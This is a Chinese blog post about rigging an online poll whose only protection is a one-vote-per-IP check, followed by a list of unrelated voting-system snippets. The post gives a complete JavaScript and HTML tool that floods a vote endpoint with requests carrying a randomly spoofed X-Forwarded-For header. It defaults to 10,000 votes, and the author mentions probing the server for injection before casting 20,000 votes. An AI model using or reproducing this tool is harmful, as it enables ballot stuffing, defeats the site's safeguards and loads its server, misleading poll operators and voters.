帮忙网络投票,粗看下,仅有一个ip校验:每天每个ip仅能投票一次。
解决办法1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
从网上随便搜了段代码,是网络投票的,稍加改了改,增加伪造ip方法
function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); }
上干货,fuck goods
<script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } if (!xmlhttp&&window.ActiveXObject) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0") } catch(e) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0") } catch(e) { try { new ActiveXObject("Msxml2.XMLHTTP") } catch(e) { try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){} } } } } if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
}
var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
}
function onSearch(){
var g_xmlhttp=CreateXMLHttp2();
if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp();
var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){
}
}
function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br />
<input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" onclick="startInit();onSearch();"
value="开始" />
<input id="search" type="button" onclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
不能投票太快,投票要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
算了,不管了,先投2W票再说
相关推荐
1. **自动化脚本**:自动投票器的核心是自动化执行任务,这通常需要编写脚本,如Python、JavaScript或者批处理脚本。这些脚本可以定时启动,模拟用户操作,完成投票过程。 2. **网络请求**:在投票过程中,工具需要...
这里的"投票代码、投票器、投票java"标题和描述暗示了我们关注的是一个使用Java语言开发的投票系统的前端和后端源代码。下面将详细探讨投票系统的构成、关键技术和涉及的Java编程知识。 1. 投票系统概述: 投票系统...
在这个投票器中,当用户选择候选人并触发投票操作时,JavaScript代码会创建一个XMLHttpRequest对象,通过这个对象向服务器发送POST或GET请求,传递投票数据。服务器接收到请求后处理数据,然后返回响应,可能是新的...
【javascript投票百分比动画条】是一种使用JavaScript编程语言实现的动态效果,用于展示投票结果的百分比变化。这种动画条通常被用在网站上,以视觉化的方式吸引用户关注投票情况,增加互动性和视觉吸引力。在给定的...
【标题】"js投票代码思路vote"涉及到的核心技术是JavaScript(简称js)和数据库交互,主要目的是实现一个投票功能。JavaScript是一种广泛应用于客户端Web开发的脚本语言,它可以直接在用户的浏览器上运行,无需...
2. **事件监听**:为了响应用户的投票行为,JS需要添加事件监听器到“赞同”和“反对”的按钮上。当用户点击按钮时,对应的事件处理函数会被触发,执行增加票数的操作。 3. **DOM操作**:Document Object Model ...
在本压缩包“js问卷调查投票页面表单代码.zip”中,包含了一个使用原生JavaScript实现的在线问卷调查投票页面的代码示例。这个项目主要关注的是如何利用JavaScript技术来创建一个交互性强、功能完善的投票表单。我们...
"类似CSDN资源评价打分或投票的用户控件js代码"就是这样一个专为提高用户体验而设计的JavaScript组件。这个控件允许用户在客户端直接进行评分或投票操作,无需服务器端的频繁交互,从而提升了系统的响应速度和效率。...
`poll.js`是插件的主体部分,它包含JavaScript代码来实现投票逻辑。可能包括以下功能: 1. 使用jQuery选择器获取投票按钮并绑定点击事件。 2. 当用户点击按钮时,阻止默认的提交行为,防止页面刷新。 3. 更新投票...
"投票统计器"是一个软件工具,主要用于收集和分析投票数据,可以用于各种场合,如线上问卷调查、会议决策等。这个工具可能包含了源代码,使得用户可以根据自身需求进行定制和扩展。从标签“源码”我们可以推断,该...
Servlet投票系统是一个基于Java Servlet技术实现的Web应用程序,主要用于实现在线投票的功能。在这个系统中,用户可以浏览不同的投票主题,选择他们支持的选项,并提交他们的投票。Servlet是Java EE平台中的一个核心...
主要使用的语言是VBScript,但也可以通过引入JScript支持JavaScript。 2. **数据库交互**:为了存储和管理投票选项及投票结果,通常会用到数据库,如Access或SQL Server。ASP可以利用ADO(ActiveX Data Objects)来...
总的来说,"JS百度百科明星投票遮罩效果"是一个综合运用JavaScript交互性、SVG矢量图形和CSS3动态效果的示例。它展示了前端开发中如何通过这些技术结合,创造出吸引用户的界面效果。开发者需要理解并掌握JavaScript...
jQuery,一个强大的JavaScript库,简化了DOM操作、事件处理以及动画效果,使得此类功能的实现变得轻而易举。 在这个实例中,开发者使用了jQuery-1.9.1.js,这是jQuery的一个稳定版本,提供了丰富的API和兼容性。该...
《JS10排行榜投票系统》是一款基于ASP技术构建的在线投票应用,主要功能包括自定义排行榜创建、文章发布以及地图生成。这个系统为用户提供了灵活的互动性,能够适应多种类型的投票活动,如音乐排行榜、电影评选等。...
这个文件可能包含了HTML文件、CSS样式表、JavaScript脚本,以及可能的服务器端脚本,如PHP或Node.js,用于处理Ajax请求和数据库操作。 总的来说,这个主题探讨了如何使用Ajax技术来构建实时的投票系统和聊天系统,...
【PHP+AJAX 投票器功能】是一个常见的Web开发示例,用于演示如何使用这两种技术来实现不刷新页面的动态交互。在这个实例中,我们将深入理解PHP和AJAX的基本应用,以及它们如何协同工作来创建一个投票系统。 首先,...
- css和js:分别存放样式表和JavaScript文件,用于美化页面和处理用户交互。 - images:存放投票系统相关的图像资源。 - lib:包含项目依赖的JAR文件,如Servlet API、JDBC驱动等。 - models:存放JavaBean或Servlet...
这个模板主要用于创建手机端的投票活动,它结合了HTML、CSS和JavaScript(JS)等技术,以提供流畅的用户体验。下面将详细讨论相关知识点: 1. **HTML 结构**:HTML(超文本标记语言)是网页的基础结构,负责定义...
在本项目中,我们利用jQuery这一强大的JavaScript库来实现这一功能,使得投票结果的展示更加生动、直观。 jQuery是一个轻量级的JavaScript库,它简化了HTML文档遍历、事件处理、动画制作和Ajax交互等任务。在“投票...